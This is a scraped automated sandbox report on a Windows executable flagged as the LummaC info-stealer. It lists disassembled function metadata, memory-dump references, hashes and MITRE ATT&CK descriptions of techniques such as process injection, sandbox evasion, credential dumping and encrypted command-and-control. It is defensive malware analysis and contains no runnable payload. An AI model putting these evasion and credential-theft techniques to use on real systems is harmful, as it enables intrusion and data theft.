Part of subcall function 000C5860: CloseHandle.KERNEL32(FFFFFFFE,000C5813,?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000,?,?), ref: 000C5870

___initconout.LIBCMT ref: 000C5813

Part of subcall function 000C5835: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,000C57D1,000C4F3E,?,?,000C39FA,?,00000000,00000000,?), ref: 000C5848

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000,?), ref: 000C5828

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 09a415617fc4f51d2b0c41102865806f7ee5cd54c406cc2585f76e1b0dc69c37
Instruction ID: 36f735df73b36cdca4c49083de7ceb5a06ab4adad3cc3f378c6df51f00f2308a
Opcode Fuzzy Hash: 09a415617fc4f51d2b0c41102865806f7ee5cd54c406cc2585f76e1b0dc69c37
Instruction Fuzzy Hash: F9F01C3A500558BBDF621F91DC08E9E7F66FF487A1F048015FE0896131CA329864DB91

Function 000BDD8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 000BDD95

Strings

csm, xrefs: 000BDDB7
csm, xrefs: 000BDE28

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 69a41c77cd60767d81d6b6b12fa402a506f1c27ad28741b1ae33a5fc5b01b0de
Instruction ID: ad727a549244f7961dc66a07be5650c369a537eef61ad8a0c26791dba8a49be4
Opcode Fuzzy Hash: 69a41c77cd60767d81d6b6b12fa402a506f1c27ad28741b1ae33a5fc5b01b0de
Instruction Fuzzy Hash: AC31D876800255EBCF266F50CC449EAFBA6FF28315B18455BF8644E111E333DC61DB81

Function 02C61C6E Relevance: 5.1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

Strings

a, xrefs: 02C61D37
crash_count, xrefs: 02C61D20
session_id, xrefs: 02C61CA8
diagnostics, xrefs: 02C61C90

Memory Dump Source

Source File: 00000002.00000003.1933464874.0000000002C54000.00000004.00000020.00020000.00000000.sdmp, Offset: 02C54000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_2c54000_file.jbxd

Similarity

API ID:
String ID: a$crash_count$diagnostics$session_id
API String ID: 0-1225375938
Opcode ID: a9bb30539f13169db19bdb3426e4ae64f0fc9a83ebed8c43bc35236ff8ecb382
Instruction ID: 1557290acee687c5e83e3100be60bed58b47b1e7af25e0999e9a5062f63bbc36
Opcode Fuzzy Hash: a9bb30539f13169db19bdb3426e4ae64f0fc9a83ebed8c43bc35236ff8ecb382
Instruction Fuzzy Hash: C031E46244D3C15EEB138B38896A290BFB1AF13215B2D04CFC5C44F0A7C2A5A56AD72B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
file.exe

Function 000D018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 000AA050 Relevance: 13.9, APIs: 6, Strings: 1, Instructions: 1601
fileCOMMON

Function 000A8190 Relevance: 2.8, Strings: 1, Instructions: 1555
COMMON

Function 000BEDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 000BBD06 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 000BC00F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 000BF752 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 000BBE20 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 000C00EB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 000B6E20 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 000BEEBE Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 000ADE10 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 000C0C65 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON